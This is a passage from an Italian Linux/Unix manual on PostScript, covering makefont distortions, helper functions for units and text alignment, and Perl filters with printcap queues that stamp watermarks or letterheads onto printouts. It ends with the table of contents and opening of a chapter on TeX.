NewCenturySchlbk-BoldItalic	NewCenturySchlbk neretto corsivo.
NewCenturySchlbk-Bold	NewCenturySchlbk neretto.
NewCenturySchlbk-Italic	NewCenturySchlbk corsivo.
NewCenturySchlbk-Roman	NewCenturySchlbk normale.
Palatino-Bold	Palatino neretto.
Palatino-BoldItalic	Palatino neretto corsivo.
Palatino-Italic	Palatino corsivo.
Palatino-Roman	Palatino normale.
Times-Bold	Times neretto.
Times-BoldItalic	Times neretto inclinato.
Times-Italic	Times corsivo.
Times-Roman	Times normale.
ZapfChancery-MediumItalic	ZapfChancery-MediumItalic medio corsivo.
ZapfDingbats	ZapfDingbats (solo con l'insieme di caratteri normale).
Symbol	Symbol (solo con l'insieme di caratteri normale).

60.15 Distorsione e spostamento dei caratteri da stampa

Fino a questo punto è stato visto come selezionare un carattere da stampa con l'istruzione seguente o con quella successiva, nel caso sia disponibile la funzione relativa:

```
/carattere findfont dimensione scalefont setfont
```

```
/carattere find-latin-font dimensione scalefont setfont
```

In alternativa, è possibile sostituire l'indicazione della dimensione con qualcosa di più articolato, secondo uno dei due schemi seguenti:

```
/carattere findfont [dim_x rot_x rot_y dim_y sp_x sp_y] makefont setfont
```

```
/carattere find-latin-font [dim_x rot_x rot_y dim_y sp_x sp_y] makefont setfont
```

Tra parentesi quadre appaiono dei valori che, se non utilizzati, vanno lasciati azzerati. Per comprenderne il significato, conviene partire dalla situazione normale. Supponendo di volere dichiarare un carattere da stampa di tipo Helvetica, normale, di 12 punti, si può usare la definizione solita:

```
/Helvetica findfont 12 scalefont setfont
```

Oppure, in modo più complesso, quella seguente:

```
/Helvetica findfont [12 0 0 12 0 0] makefont setfont
```

In pratica, ***dim_x*** e ***dim_y*** servono per definire la dimensione orizzontale e verticale del carattere. In condizioni normali, la dimensione è la stessa; diversamente, con una dimensione orizzontale più grande di quella verticale si ottiene un carattere più largo, mentre con una dimensione verticale maggiore di quella orizzontale, si ottiene un carattere alto (o sottile). Si osservi l'esempio seguente, di un carattere Helvetica allargato e successivamente alzato. Il risultato, in rapporto, si può vedere nella figura 60.82.

```
/Helvetica findfont [30 0 0 12 0 0] makefont setfont
```

```
/Helvetica findfont [12 0 0 30 0 0] makefont setfont
```

Figura 60.82. Distorsione orizzontale e verticale del carattere da stampa.

Helvetica allargato

Helvetica alzato (stretto)

I valori corrispondenti a ***rot_x*** e ***rot_y*** permettono di inclinare l'asse X o l'asse Y del testo. In pratica, modificando ***rot_x*** si cambia l'andamento orizzontale del testo secondo l'angolo indicato. Per esempio un angolo di 10 gradi fa sì che la riga scritta sia inclinata verso l'alto (ovvero di 10 gradi in senso antiorario), mentre un angolo di −10 gradi genera una riga inclinata verso il basso. La figura 60.85 mostra il risultato che si può ottenere con le due distorsioni seguenti:

```
/Helvetica findfont [12 5 0 12 0 0] makefont setfont
```

```
/Helvetica findfont [12 -5 0 12 0 0] makefont setfont
```

Figura 60.85. Distorsione dell'inclinazione orizzontale.

Scrittura ascendente

Scrittura discendente

Intervenendo invece nel valore ***rot_y***, si cambia l'inclinazione del carattere, senza cambiare l'andamento della riga. In pratica, valori positivi dell'angolazione generano un'inclinazione in avanti, simile a un corsivo, mentre valori negativi generano un'inclinazione all'indietro. La figura 60.88 mostra il risultato che si può ottenere con le due distorsioni seguenti:

```
/Helvetica findfont [12 0 10 12 0 0] makefont setfont
```

```
/Helvetica findfont [12 0 -10 12 0 0] makefont setfont
```

Figura 60.88. Distorsione dell'inclinazione verticale.

Inclinato in avanti

Inclinato all'indietro

I valori corrispondenti a ***sp_x*** e ***sp_y*** rappresentano uno spostamento orizzontale e verticale, in punti, senza applicare delle distorsioni vere e proprie.

L'andamento del testo, che normalmente si svolge da sinistra a destra, può essere invertito, assegnando un valore negativo per il primo valore, ovvero per ***dim_x***. La figura 60.90 mostra la comparazione tra un testo scritto in modo normale e un altro che invece si sviluppa verso sinistra, con un comando simile a quello seguente:

```
/Helvetica findfont [-12 0 0 12 0 0] makefont setfont
```

Figura 60.90. Scrittura normale e scrittura da destra a sinistra.

Andamento normale

Andamento invertito

Così come si può invertire l'andamento del testo in orizzontale, si può invertire in modo verticale, ottenendo una sorta di riflessione. La figure 60.92 mette a confronto un testo scritto in modo normale e un altro modificato con l'istruzione seguente:

```
/Helvetica findfont [12 0 0 -12 0 0] makefont setfont
```

Figura 60.92. Scrittura ruotata sull'asse orizzontale.

Scrittura normale

Scrittura riflessa

60.16 Esempi di funzioni

In questa sezione si raccolgono alcuni esempi di funzioni PostScript che possono essere utili a vario titolo. Naturalmente, trattandosi di un linguaggio specifico per la stampa, non vengono proposti esempi di programmazione standard.

60.16.1 Unità di misura

L'unità di misura utilizzata è sempre il punto tipografico, che in questo ambito corrisponde a 1/72-esimo di pollice, ovvero a 0,352 777 7 mm (per converso, un millimetro è pari a 2,834 646 punti). Volendo usare unità di misura più comuni, si possono realizzare alcune funzioni molto semplici che si limitano a moltiplicare il valore per una costante, in modo da ottenere come risultato l'equivalente in punti:

```
/cm { 28.346456 mul } def   % <n> cm    % converte centimetri in punti
/mm { 2.8346456 mul } def   % <n> mm    % converte millimetri in punti
/pt { 1 mul } def           % <n> pt    % non converte alcunché
/in { 72 mul } def          % <n> in    % converte pollici in punti
```

In questo modo, al posto di inserire un valore puro e semplice, basta aggiungere subito dopo la sigla dell'unità di misura, che in realtà è una funzione. Per esempio:

```
3 cm 18 cm moveto
```

Evidentemente, la funzione '**pt**' è inutile, ma può servire per mantenere coerenza con il resto, nel momento in cui si utilizzi sistematicamente questo meccanismo per indicare le coordinate o le distanze.

60.16.2 Funzioni diagnostiche

Pur non trattandosi di un linguaggio di programmazione normale, quando si cerca di realizzare qualcosa di particolare, può essere comoda la possibilità di mostrare un valore da qualche parte, per verificare il contenuto di una data informazione.

```
/diag_display_number % <n> <x> <y> diag_display_number
{
    gsave
    /Helvetica findfont 10 scalefont setfont
    moveto
    100 string cvs show
    grestore
} def
```

La funzione appena mostrata, serve per ottenere la conversione di un numero in stringa, che poi viene visualizzato nelle coordinate previste. Andrebbe usata nel modo seguente, dove ***x*** , ***y*** sono le coordinate a partire dalle quali mostrare il valore:

```
n x y diag_display_number
```

Dal momento che questa funzione preleva il valore dalla pila, potrebbe essere conveniente la duplicazione di tale valore prima di utilizzarlo:

```
n dup x y diag_display_number
```

Volendo completare il problema con una funzione equivalente per la visualizzazione delle stringhe, basta la variante seguente:

```
/diag_display_string % <stringa> <x> <y> diag_display_string
{
    gsave
    /Helvetica findfont 10 scalefont setfont
    moveto
    show
    grestore
} def
```

60.16.3 Gestione di stringhe

Quando si disegnano delle figure o dei grafici, può essere comodo disporre di qualche funzione che faciliti la collocazione di didascalie o di annotazioni di qualunque tipo. Qui viene proposto un sistema molto semplice, con cui è possibile piazzare delle stringhe allineate correttamente a sinistra, a destra o al centro, date le coordinate di riferimento. Si parte con la definizione di alcune «variabili», che servono per fissare i punti di riferimento delle stringhe:

```
/set_line_t   { /line_t    exch def } def
/set_line_l   { /line_l    exch def } def
/set_line_r   { /line_r    exch def } def
/set_line_c   { /line_c    exch def } def
/set_line_h   { /line_h    exch def } def
```

La funzione '**`line_t`**' viene usata per conoscere la posizione verticale (Y) della stringa da collocare; la funzione '**`line_l`**' serve per fornire la posizione iniziale (X) di una stringa da allineare a sinistra; '**`line_r`**' fornisce la posizione finale (X) di una stringa da allineare a destra; '**`line_c`**' fornisce la posizione centrale (X) di una stringa da centrare; infine, '**`line_h`**' serve per conoscere la distanza tra le righe.

Per usare le funzioni che vengono presentate nel seguito, devono essere impostati inizialmente i valori per le variabili appena descritte. Per esempio, sapendo che si vuole scrivere un testo allineato a sinistra a partire dalla coordinata 100 , 50, con una distanza tra le righe di 14 punti, basta impostare i valori nel modo seguente:

```
 50 set_line_t
100 set_line_l
 14 set_line_h
```

Dal momento che non si devono centrare le righe e nemmeno allineare a destra, le altre variabili non servono, altrimenti occorrerebbe impostare '**`line_c`**' o '**`line_r`**', al posto di '**`line_l`**'.

```
/show_line_left % <stringa> show_line_left
{
    % Si posiziona all'inizio della riga.
    line_l line_t moveto

    % Mostra la riga.
    show

    % Sottrae alla posizione Y l'altezza della riga.
    line_t line_h sub set_line_t
} def
```

Si osservi la funzione '**`show_line_left`**': si usano i valori restituiti dalle funzioni '**`line_l`**' e '**`line_t`**' per impostare le coordinate iniziali, quindi si visualizza la stringa. Subito dopo si provvede a ridurre il valore della variabile corrispondente alla funzione '**`line_t`**' del valore restituito da '**`line_h`**' (la distanza tra le righe), in modo da poter continuare con la visualizzazione di altre stringhe, con lo stesso allineamento sinistro, subito sotto quella appena inserita.

```
/show_line_right % <stringa> show_line_right
{
    % Calcola la lunghezza della riga.
    dup % fa una copia della stringa
    stringwidth % restituisce le coordinate finali X e Y
    pop % elimina la coordinata Y

    % Sottrae dalla posizione destra la lunghezza della riga,
```

```
    % cambiando poi il segno.
    line_r sub  neg

    % Si posiziona correttamente.
    line_t moveto

    % Mostra la riga e va all'inizio di una riga nuova.
    show

    % Sottrae alla posizione Y l'altezza della riga.
    line_t line_h sub set_line_t
} def
```

La funzione '**show_line_right**' è molto simile, con la differenza che occorre fare qualche calcolo per individuare la posizione orizzontale di inizio, sapendo la posizione finale ottenuta dalla funzione '**line_r**'. Per questo, viene fatta una copia della stringa, che quindi viene misurata con la funzione '**setlinewidth**'. Da questa misurazione si espelle l'informazione verticale, che risulta inutile, sottraendo poi a questa il valore restituito da '**line_r**'. Quello che si ottiene è la distanza dalla posizione destra finale, con segno invertito, pertanto si inverte nuovamente con la funzione '**neg**'. Disponendo della coordinata X, si aggiunge la coordinata Y, data da '**line_t**', spostando la posizione corrente, per poi mostrare la stringa e infine preparare nuovamente la posizione verticale per una nuova riga.

```
/show_line_center
{
    % Calcola la lunghezza della riga.
    dup % fa una copia della stringa
    stringwidth % restituisce le coordinate finali X e Y
    pop % elimina la coordinata Y
    2 div % divide la lunghezza a metà

    % Sottrae dal centro la metà della riga, cambiando poi il segno.
    line_c sub  neg

    % Si posiziona correttamente.
    line_t moveto

    % Mostra la riga e va all'inizio di una riga nuova.
    show

    % Sottrae alla posizione Y l'altezza della riga.
    line_t line_h sub set_line_t
} def
```

La funzione '**show_line_center**' centra la stringa in riferimento alla posizione '**line_c**'. I calcoli sono simili a quelli per l'allineamento a destra, con la differenza che la distanza dal centro è pari alla metà della lunghezza della stringa. Il resto è equivalente.

L'esempio seguente mostra come scrivere qualcosa con queste funzioni; la figura 60.103 mostra il risultato che si ottiene osservando il riquadro che va da 0 , 0 a 150 , 100:

```
/Times-Roman findfont 10 scalefont setfont

 90 set_line_t
 10 set_line_l
140 set_line_r
 75 set_line_c
 14 set_line_h

(Stringa a sinistra) show_line_left
(Stringa centrata) show_line_center
(Stringa a destra) show_line_right
(Ciao) show_line_center
() show_line_center
(:-\)) show_line_center

showpage
```

Figura 60.103. Esempio nell'uso delle funzioni sulle stringhe.

Stringa a sinistra

Stringa centrata

Stringa a destra

Ciao

:-)

Naturalmente, si possono predisporre anche delle abbreviazioni a queste funzioni:

```
/L { show_line_left } def
/R { show_line_right } def
/C { show_line_center } def
```

In questo modo, l'indicazione delle stringhe può essere ridotto alla forma seguente:

```
(Stringa a sinistra) L
(Stringa centrata) C
(Stringa a destra) R
(Ciao) C
() C
(:-\)) C
```

60.17 Approfondimento: modifica sistematica dei contenuti

Un problema abbastanza frequente negli uffici è la creazione di un'immagine da sovrapporre a tutte le stampate, come un marchio, o come una fincatura. Per esempio, al posto di far stampare della carta intestata, si vuole fare in modo che la stampante stampi automaticamente l'intestazione, senza fare la cosa in due passaggi. Questa sezione cerca di mostrare un metodo pratico per risolvere il problema.

60.17.1 Modifica del file PostScript

Per aggiungere qualcosa a una stampa si deve intervenire nel file PostScript prima che questo raggiunga la coda di stampa. Inizialmente si può fare qualche esperimento per scoprire in che punto conviene inserire le proprie modifiche.

Osservando un file PostScript generato da un programma comune per la stampa, si dovrebbe individuare facilmente la fine di una pagina cercando l'istruzione '**`showpage`**':

```
PDFVars/TermAll get exec end end
userdict /pgsave get restore
showpage
%%PageTrailer
%%EndPage
```

Normalmente, subito prima di questa istruzione appare anche l'istruzione '**`restore`**' che serve a ripristinare le condizioni normali. Se effettivamente si recuperano tutte le impostazioni predefinite del linguaggio PostScript si può inserire subito prima dell'istruzione '**`showpage`**' qualcosa che si vuole sovrascrivere sulla pagina; per esempio un codice simile a quello seguente:

```
PDFVars/TermAll get exec end end
userdict /pgsave get restore
save
/cm { 28.346456 mul } def
   0 cm   0    cm moveto
  21 cm  29.7 cm lineto
   0 cm  29.7 cm moveto
  21 cm   0    cm lineto
stroke
restore
showpage
%%PageTrailer
%%EndPage
```

In questo caso si immagina di avere a disposizione una pagina A4, sulla quale si sovrascrive una «X» con due linee tra gli angoli opposti. Nel prossimo esempio, si intende sovrapporre la scritta «riservato» che appare in modo obliquo sulla pagina:

```
PDFVars/TermAll get exec end end
userdict /pgsave get restore
save
/cm { 28.346456 mul } def
    55  rotate
    7 cm  0 cm moveto
    /Helvetica findfont 7 cm scalefont setfont
    (riservato)
    0.9 setgray
    show
stroke
restore
showpage
%%PageTrailer
%%EndPage
```

La figura successiva mostra una pagina con un contenuto senza significato, sulla quale appare la scritta sovrapposta:

Figura 60.109. Esempio di una pagina con la sovrapposizione della scritta «riservato» in primo piano.

Se invece quello che si vuole è semplicemente di intervenire sullo sfondo della pagina, al posto di inserire il codice immediatamente prima dell'istruzione '**`showpage`**' occorre farlo all'inizio della pagina, precisamente subito dopo l'istruzione speciale '**`%%Page:`**', per esempio così:

```
%%Page: 1 10
save
/cm { 28.346456 mul } def
    55 rotate
    7 cm   0   cm moveto
    /Helvetica findfont 7 cm scalefont setfont
    (riservato)
    0.9 setgray
    show
stroke
restore
585 600 bop 1319 39 a Ii(Appunti)37 b(di)d(inf)-5 b(or)t(m)m(atica)35
b(liber)m(a)105 b Ic(2003.01.01)3042 243 y Ii(V)-13 b(olume)71
```

Nella figura successiva si mostra nuovamente l'esempio di una scritta obliqua che questa volta viene posta sullo sfondo, senza disturbare così la lettura del documento.

Figura 60.111. Esempio di una pagina con la scritta «riservato» sullo sfondo.

Eventualmente, per evitare sorprese, prima di modificare un file PostScript lo si può rielaborare attraverso '**ps2ps**'.

60.17.2 Due programmi Perl che fanno tutto da soli

Per risolvere il problema della modifica di file PostScript si può realizzare un piccolo programma Perl che legge un file contenente le aggiunte, filtrando un file PostScript:

`ps-overwrite.pl` ***file*** < ***file_ps_originale*** > ***file_ps_sovrascritto***

`ps-background.pl` ***file*** < ***file_ps_originale*** > ***file_ps_sovrascritto***

Per esempio, se il file '`aggiunte`' contiene il codice PostScript da aggiungere, i due comandi seguenti servirebbero per generare il file '`prova-modificato.ps`' dal file '`prova.ps`'; il primo per aggiungere il codice in primo piano, il secondo per aggiungerlo sullo sfondo:

`$` **`cat prova.ps | ps-overwrite.pl aggiunte > prova-modificato.ps`** [*Invio*]

`$` **`cat prova.ps | ps-background.pl aggiunte > prova-modificato.ps`** [*Invio*]

Ecco il primo programma:

```
#!/usr/bin/perl
#
local ($external_postscript_file) = $ARGV[0];
local ($external_postscript_code) = "";
local ($line)                     = "";
#
# Carica dal file esterno il codice da aggiungere.
#
open (PSCODE, "< $external_postscript_file");
while ($line = <PSCODE>)
  {
    $external_postscript_code = $external_postscript_code . $line;
  }
close (PSCODE);
#
# Legge lo standard input e cerca l'istruzione "showpage" per
# inserire il codice aggiunto.
#
while ($line = <STDIN>)
  {
    if ($line =~ m/^\%/)
      {
        #
        # Si tratta di un commento o di un'istruzione speciale.
```

```
        #
        print STDOUT ($line);
      }
    elsif ($line =~ m/^(.*)\bshowpage\b(.*)$/)
      {
        #
        # Si aggiunge il codice.
        #
        print STDOUT ($1);
        print STDOUT ("\n");
        print STDOUT ("save");
        print STDOUT ("\n");
        print STDOUT ("$external_postscript_code");
        print STDOUT ("\n");
        print STDOUT ("restore");
        print STDOUT ("\n");
        print STDOUT ("showpage");
        print STDOUT ("\n");
        print STDOUT ($2);
        print STDOUT ("\n");
      }
    else
      {
        print STDOUT ($line);
      }
  }
```

Ecco il secondo programma:

```
#!/usr/bin/perl
#
local ($external_postscript_file) = $ARGV[0];
local ($external_postscript_code) = "";
local ($line)                     = "";
#
# Carica dal file esterno il codice da aggiungere.
#
open (PSCODE, "< $external_postscript_file");
while ($line = <PSCODE>)
  {
    $external_postscript_code = $external_postscript_code . $line;
  }
close (PSCODE);
#
# Legge lo standard input e cerca l'istruzione speciale "%%Page:" per
# inserire il codice aggiunto.
#
while ($line = <STDIN>)
```

```
  {
    if ($line =~ m/^\%\%Page\:\s/)
      {
        #
        # Si aggiunge il codice a partire dalla riga successiva.
        #
        print STDOUT ($line);
        #
        print STDOUT ("save");
        print STDOUT ("\n");
        print STDOUT ("$external_postscript_code");
        print STDOUT ("\n");
        print STDOUT ("restore");
        print STDOUT ("\n");
      }
    else
      {
        print STDOUT ($line);
      }
  }
```

Si può osservare che il codice aggiunto viene contornato automaticamente dalle istruzioni '**save**' e '**restore**' per maggior sicurezza.

60.17.3 Utilizzo pratico di questi programmi

Per fare in modo che tutte le stampe vengano alterate con qualche tipo di informazione, si deve intervenire nella gestione delle code di stampa. Se si dispone di un sistema di stampa BSD o compatibile, si può agire nel file '`/etc/printcap`', aggiungendo delle code differenti per ogni tipo di modifica che si vuole apportare; a ognuna di queste si deve abbinare un filtro differente.

```
lp|HP Laserjet:\
        :lp=/dev/lp0:\
        :sd=/var/spool/lpd/lp:\
        :af=/var/log/lp-acct:\
        :lf=/var/log/lp-errs:\
        :if=/etc/magicfilter/ljet4-filter:\
        :pl#66:\
        :pw#80:\
        :pc#150:\
        :mx#0:\
        :sh:
```

L'esempio che si vede sopra fa riferimento a una direttiva della coda di stampa predefinita, a cui si associa il filtro '`/etc/magicfilter/ljet4-filter`'. Si tratta precisamente di un programma scritto per Magicfilter (sezione 30.5), il quale contiene in particolare le direttive seguenti:

```
# PostScript
0       %!      filter  /usr/bin/gs  -q -dSAFER -dNOPAUSE ↩
↪-r600 -sDEVICE=ljet4 -sOutputFile=- -
0       \004%!  filter  /usr/bin/gs  -q -dSAFER -dNOPAUSE ↩
↪-r600 -sDEVICE=ljet4 -sOutputFile=- -
```

A questo punto si potrebbero scrivere una serie di file contenenti codice PostScript da aggiungere alle stampe, a seconda delle esigenze. Si suppone di collocare questi file nella directory '`/etc/ps-modifica/`'. Si osservi il listato successivo che si riferisce ad altre due code di stampa speciali:

```
logo|HP Laserjet con sovrascrittura del logo aziendale:\
        :lp=/dev/lp0:\
        :sd=/var/spool/lpd/lp:\
        :af=/var/log/lp-acct:\
        :lf=/var/log/lp-errs:\
        :if=/etc/magicfilter/ljet4-logo-filter:\
        :pl#66:\
        :pw#80:\
        :pc#150:\
        :mx#0:\
        :sh:

fatt|HP Laserjet con sovrascrittura della fincatura delle fatture:\
        :lp=/dev/lp0:\
        :sd=/var/spool/lpd/lp:\
        :af=/var/log/lp-acct:\
        :lf=/var/log/lp-errs:\
        :if=/etc/magicfilter/ljet4-fattura-filter:\
        :pl#66:\
        :pw#80:\
        :pc#150:\
        :mx#0:\
        :sh:
```

A questo punto si prende il file '`/etc/magicfilter/ljet4-filter`' e se ne fanno due copie: rispettivamente '`/etc/magicfilter/ljet4-logo-filter`' e '`/etc/magicfilter/ljet4-fattura-filter`'. All'interno di questi file si devono modificare le direttive riferite al filtro PostScript; in questo caso si mostra l'uso dello script '**`ps-overwrite`**', per la sovrapposizione in primo piano, ma l'uso dell'altro script è identico:

```
# PostScript
0       %!      filter  /usr/bin/ps-overwrite /etc/ps-modifica/logo ↩
↪| /usr/bin/gs  -q -dSAFER -dNOPAUSE ↩
↪-r600 -sDEVICE=ljet4 -sOutputFile=- -
0       \004%!  filter  /usr/bin/ps-overwrite /etc/ps-modifica/logo ↩
↪| /usr/bin/gs  -q -dSAFER -dNOPAUSE ↩
↪-r600 -sDEVICE=ljet4 -sOutputFile=- -
```

```
# PostScript
0       %!      filter  /usr/bin/ps-overwrite /etc/ps-modifica/fattura ↩
↪| /usr/bin/gs  -q -dSAFER -dNOPAUSE ↩
↪-r600 -sDEVICE=ljet4 -sOutputFile=- -
0       \004%!  filter  /usr/bin/ps-overwrite /etc/ps-modifica/fattura ↩
↪| /usr/bin/gs  -q -dSAFER -dNOPAUSE ↩
↪-r600 -sDEVICE=ljet4 -sOutputFile=- -
```

Se si vuole aggiungere anche un passaggio con '**`ps2ps`**':

```
# PostScript
0       %!      filter  /usr/bin/ps2ps - - ↩
↪| /usr/bin/ps-overwrite /etc/ps-modifica/logo ↩
↪| /usr/bin/gs  -q -dSAFER -dNOPAUSE ↩
↪-r600 -sDEVICE=ljet4 -sOutputFile=- -
0       \004%!  filter  /usr/bin/ps2ps - - ↩
↪| /usr/bin/ps-overwrite /etc/ps-modifica/logo ↩
↪| /usr/bin/gs  -q -dSAFER -dNOPAUSE ↩
↪-r600 -sDEVICE=ljet4 -sOutputFile=- -
```

```
# PostScript
0       %!      filter  /usr/bin/ps2ps - - ↩
↪| /usr/bin/ps-overwrite /etc/ps-modifica/fattura ↩
↪| /usr/bin/gs  -q -dSAFER -dNOPAUSE ↩
↪-r600 -sDEVICE=ljet4 -sOutputFile=- -
0       \004%!  filter  /usr/bin/ps2ps - - ↩
↪| /usr/bin/ps-overwrite /etc/ps-modifica/fattura ↩
↪| /usr/bin/gs  -q -dSAFER -dNOPAUSE ↩
↪-r600 -sDEVICE=ljet4 -sOutputFile=- -
```

Naturalmente rimangono da preparare i file '`/etc/ps-modifica/logo`' e '`/etc/ps-modifica/fattura`' con il codice PostScript che si preferisce.

Alla fine, è sufficiente selezionare una coda o l'altra per aggiungere il logo o la fincatura di una fattura:

$ **`lpr -Plogo`** ... [*Invio*]

$ **`lpr -Pfatt`** ... [*Invio*]

60.18 Riferimenti

- *Cappella Archive*

  ⟨http://www.cappella.demon.co.uk/index.html⟩
- David Byram-Wigfield, *Practical PostScript*

  ⟨http://www.cappella.demon.co.uk/bookpdfs/pracpost.pdf⟩
- David Byram-Wigfield, *Making an electronic book*

  ⟨http://www.cappella.demon.co.uk/tinypdfs/06ebook.pdf⟩
- Paul Bourke, *PostScript Tutorial*

  ⟨http://local.wasp.uwa.edu.au/~pbourke/dataformats/postscript/⟩

- *First Guide to PostScript*
  ⟨http://www.tailrecursive.org/postscript/postscript.html ⟩
- *Portable Document Format Reference Manual*, 1999
  http://www.hamburg.baw.de/docs/pdfspec.pdf (non più disponibile)

TeX

Capitolo 61

61.1 La distribuzione Unix di TeX 3258

61.1.1 Collocazione 3258
61.1.2 Configurazione 3259
61.1.3 Funzionamento fondamentale di TeX 3263
61.1.4 Interazione con TeX 3266

61.2 Elementi essenziali del linguaggio TeX 3269

61.2.1 Testo letterale, parole e simboli di controllo 3270
61.2.2 Raggruppamenti 3271
61.2.3 Inclusione di file esterni 3273

61.3 Variabili e tipi di dati 3273

61.3.1 Stringhe 3273
61.3.2 Trasformazione delle stringhe 3274
61.3.3 Contatori 3274
61.3.4 Lunghezze 3275
61.3.5 Lunghezze elastiche 3276
61.3.6 Operazioni con i valori numerici 3277
61.3.7 Trasformazione in stringa di dati numerici 3279
61.3.8 Controllo del campo di azione delle variabili 3280
61.3.9 Ordine nell'espansione delle sequenze di controllo 3281

61.4 Dichiarazione di macro-istruzioni 3282

61.4.1 Chiamata di macro-istruzioni che richiedono l'indicazione di argomenti . 3285

61.5 Riferimenti ad altre parole o simboli di controllo 3285

61.6 Testo normale e ambienti matematici 3286

61.7 Modalità orizzontale e modalità verticale 3286

61.8 Strutture di controllo 3287

61.8.1 Istruzione «\ifodd» 3287
61.8.2 Istruzione «\ifmmode» 3288
61.8.3 Istruzione «\ifnum» 3288
61.8.4 Istruzioni «\ifhmode» e «\ifvmode» 3288

61.9 Verifica del significato di un'istruzione elementare 3289

61.10 Caratteri 3290

61.10.1 Caratteri speciali 3291
61.10.2 Accenti 3291

61.10.3 Apici, trattini e legati automatici 3292
61.10.4 Istruzioni alternative per generare simboli particolari 3293
61.10.5 Caratteri da stampa standard 3294
61.10.6 Sottolineatura 3299

61.11 La pagina 3300

61.11.1 La parte centrale della pagina 3300
61.11.2 Intestazione e fondo pagina 3303
61.11.3 Numerazione delle pagine 3304
61.11.4 Note a piè di pagina 3304
61.11.5 Oggetti fluttuanti 3305

61.12 Paragrafi 3306

61.12.1 Spaziatura orizzontale automatica e separazione automatica dei paragrafi in righe 3309
61.12.2 Rientri particolari 3310
61.12.3 Paragrafi etichettati 3312
61.12.4 Attuazione dei comandi riferiti ai paragrafi 3314
61.12.5 Tolleranza estetica 3315
61.12.6 Sillabazione 3316
61.12.7 Spaziature verticali 3317

61.13 Righe 3320

61.13.1 Spazi orizzontali 3323
61.13.2 Spazio rigido 3325
61.13.3 Linee guida 3325
61.13.4 Linee 3327

61.14 Scatole 3328

61.14.1 Spostamento orizzontale delle scatole 3332
61.14.2 Scatole più complesse 3333

61.15 Tabelle 3334

61.15.1 Tabulazione 3334
61.15.2 Tabelle più complesse 3339

61.16 Ambienti matematici 3344

61.16.1 Due situazioni differenti 3344

61.17 Spazi orizzontali 3345

61.17.1 Caratteri e simboli 3346
61.17.2 Dimensione del testo matematico 3352

61.17.3 Punteggiatura 3353
61.17.4 Frazioni e simili 3354
61.17.5 Apici e pedici 3355
61.17.6 Radici 3356
61.17.7 Sottolineature e sopralineature 3356
61.17.8 Funzioni 3357
61.17.9 Delimitatori 3359
61.17.10 Matrici e sistemi di equazioni 3360
61.17.11 Dichiarazione di teoremi e corollari 3362
61.17.12 Equazioni in evidenza 3363

61.18 Riferimenti 3364

1fil 3276 1fill 3276 1filll 3276 texconfig 3259 & 3334 ^ 3355 \+ 3334 \above 3354 \advance 3277 \atop 3354 \baselineskip 3306 3320 \bf 3294 \bgroup 3271 \biggl 3359 \Biggl 3359 \biggr 3359 \Biggr 3359 \bigl 3359 \Bigl 3359 \bigr 3359 \Bigr 3359 \bigskip 3317 \bigskipamount 3317 \break 3300 3320 \bye 3269 \choose 3354 \cleaders 3325 \colon 3353 \columns 3334 \countdef 3274 \cr 3334 \def 3282 \displaylines 3360 \displaystyle 3352 \divide 3277 \dotfill 3325 \egroup 3271 \eject 3300 \end 3300 \endinsert 3305 \enskip 3323 \enspace 3323 \eqalign 3363 \eqalignno 3363 \eqno 3363 \everydisplay 3346 \everymath 3346 \expandafter 3281 \folio 3304 \font 3294 \footline 3303 \footnote 3304 \frenchspacing 3309 \global 3280 \halign 3339 \hangafter 3310 \hangindent 3310 \hbadness 3315 \hbox 3328 \headline 3303 \hfil 3303 3320 \hfill 3320 \hfilll 3320 \hfuzz 3315 \hline 3334 \hoffset 3300 3306 \hrulefill 3325 \hsize 3300 3306 \hskip 3323 \hss 3323 \ifhmode 3288 \ifmmode 3288 \ifnum 3288 \ifodd 3287 \ifvmode 3288 \input 3273 \it 3294 \item 3312 \kern 3325 \leaders 3325 \leavevmode 3325 \leftarrowfill 3325 \leftline 3320 \leftskip 3306 \leqalignno 3363 \leqno 3363 \let 3285 \line 3320 \lineskip 3320 \lineskiplimit 3320 \llap 3328 \lower 3320 \lowercase 3274 \lq 3293 \magnification 3300 \magstep 3294 \mathstrut 3328 \matrix 3360 \medskip 3317 \medskipamount 3317 \midinsert 3305 \mit 3346 \moveleft 3332 \moveright 3332 3334 \multiply 3277 \multispan 3339 \narrower 3306 \negthinspace 3323 \newcount 3274 \newdimen 3275 \newskip 3276 \newtoks 3273 \noalign 3339 \noindent 3306 \nonfrenchspacing 3309 \nopagenumbers 3303 \normalbottom 3300 \null 3328 \number 3279 \of 3356 \offinterlineskip 3339 \omit 3339 \over 3354 \overfullrule 3315 \overline 3356 \pageinsert 3305 \pageno 3303 3304 \par 3269 3306 \parindent 3306 \parshape 3310 \parskip 3306 3317 \pmatrix 3360 \proclaim 3362 \qquad 3323 \quad 3323 \raggedbottom 3300 \raggedright 3306 \raise 3320 \relax 3287 \rightarrowfill 3325 \rightline 3320 \rightskip 3306 \rlap 3328 \rm 3294 \romannumeral 3279 \root 3356 \rq 3293 \scriptscriptstyle 3352 \scriptstyle 3352 \settabs 3334 \sl 3294 \smallskip 3317 \smallskipamount 3317 \sqrt 3356 \strut 3328 3334 3352 \supereject 3300 \textstyle 3352 \the 3273 3279 \thinspace 3323 \tolerance 3315 \topinsert 3305 \tt 3294 \underbar 3299 \underline 3328 3356 \uppercase 3274 \vbadness 3315 \vbox 3328 \vcenter

3328 `\vfil` 3317 `\vfill` 3300 3317 `\vfuzz` 3315 `\vglue` 3317 `\voffset` 3300 `\vrule` 3339 `\vsize` 3300 `\vskip` 3317 `\vss` 3317 `\vtop` 3328 `\xleaders` 3325 `$TEXEDIT` 3266 _ 3355

TeX è un linguaggio di programmazione per la composizione tipografica. La «compilazione» di un sorgente TeX produce un file in formato finale (DVI o PDF) per la stampa.

L'importanza di questo linguaggio richiede anche la conoscenza della pronuncia corretta del suo nome: «t-e-k». Infatti, il creatore di questo linguaggio, D.E. Knuth, voleva fare riferimento alle lettere greche maiuscole «TEX», che così vanno pronunciate.

Dal momento che le istruzioni TeX utilizzano spesso le parentesi graffe, nei modelli sintattici queste vanno intese letteralmente, come parte dell'istruzione rappresentata.

61.1 La distribuzione Unix di TeX

TeX è un linguaggio di programmazione per l'editoria elettronica. Come nei linguaggi di programmazione comuni è possibile realizzare procedure o funzioni, con TeX è possibile costruire delle macro. Nel tempo sono stati realizzati diversi pacchetti standard di macro per TeX; per esempio LaTeX e AmS-TeX.

Semplificando le cose, una distribuzione TeX è un insieme composto da un compilatore TeX (ma forse è più appropriato il termine «compositore»), una serie di file contenenti le informazioni necessarie a produrre i caratteri da stampa e alcuni pacchetti di macro (di solito si tratta almeno di LaTeX).

61.1.1 Collocazione

